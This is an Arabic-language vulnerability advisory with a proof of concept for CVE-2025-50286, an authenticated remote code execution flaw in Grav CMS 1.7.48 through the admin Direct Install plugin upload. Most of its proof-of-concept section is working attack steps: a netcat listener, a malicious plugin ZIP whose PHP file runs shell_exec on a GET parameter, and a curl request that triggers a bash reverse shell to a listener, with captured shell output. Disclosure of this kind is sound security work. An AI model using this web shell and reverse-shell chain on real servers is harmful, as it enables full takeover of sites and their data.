Grav CMS الإصدار 1.7.48 / الإضافة الإدارية الإصدار 1.10.48 - تنفيذ أوامر عن بُعد مصادق عليه عبر رفع الإضافة (CVE-2025-50286)

Grav CMS الإصدار 1.7.48 مع الإضافة الإدارية الإصدار 1.10.48 معرضة لـ تنفيذ الأوامر عن بُعد (RCE) عبر ميزة رفع الإضافات "التثبيت المباشر"، مما يسمح للمسؤولين المصادق عليهم بتنفيذ كود PHP عشوائي على الخادم.

معرف CVE

CVE-2025-50286

الملخص

• النوع: تنفيذ أوامر عن بُعد مصادق عليه (RCE)
• الموقع: /admin/tools/direct-install (لوحة الإدارة > الأدوات > التثبيت المباشر)
• الأثر: تنفيذ كود PHP عشوائي واحتمالية اختراق كامل للنظام
• المصادقة المطلوبة: نعم (صلاحية مسؤول)
• الإصدار المتأثر: Grav CMS الإصدار 1.7.48 / الإضافة الإدارية الإصدار 1.10.48

إثبات المفهوم

1. قم بتجهيز مستمع:

   root@kitploit:~

   nc -lvnp 4444
   

2. سجل الدخول إلى لوحة الإدارة في Grav كمسؤول.

3. انتقل إلى الأدوات > التثبيت المباشر

4. ارفع ملف ZIP ضار للإضافة (evilplugin.zip) مبني على النحو التالي:

   root@kitploit:~

   evilplugin/
   ├── evilplugin.php         ← يحتوي على: shell_exec($_GET['cmd'])
   └── blueprints.yaml        ← مخطط أدنى لاجتياز التحقق
   

5. قم بتشغيل الـ reverse shell:

   root@kitploit:~

   curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
   

6. استقبال الـ reverse shell:

   root@kitploit:~

   $ nc -lvnp 4444
   Listening on 0.0.0.0 4444
   Connection received on <target-ip>
   www-data@target:/var/www/html$ whoami
   www-data
   

المكون المتأثر

• النقطة الطرفية: /admin/tools/direct-install
• الوظيفة: رفع الإضافات والتحميل التلقائي دون تحقق

تم الاختبار على

• Debian 11
• Apache2 + PHP 7.4
• Grav CMS الإصدار 1.7.48 (مع الإضافة الإدارية الإصدار 1.10.48)

المكتشف

@binneko

المراجع

• Grav CMS على GitHub
• سجل CVE - CVE-2025-50286

إخلاء مسؤولية

لأغراض تعليمية ودفاعية فقط.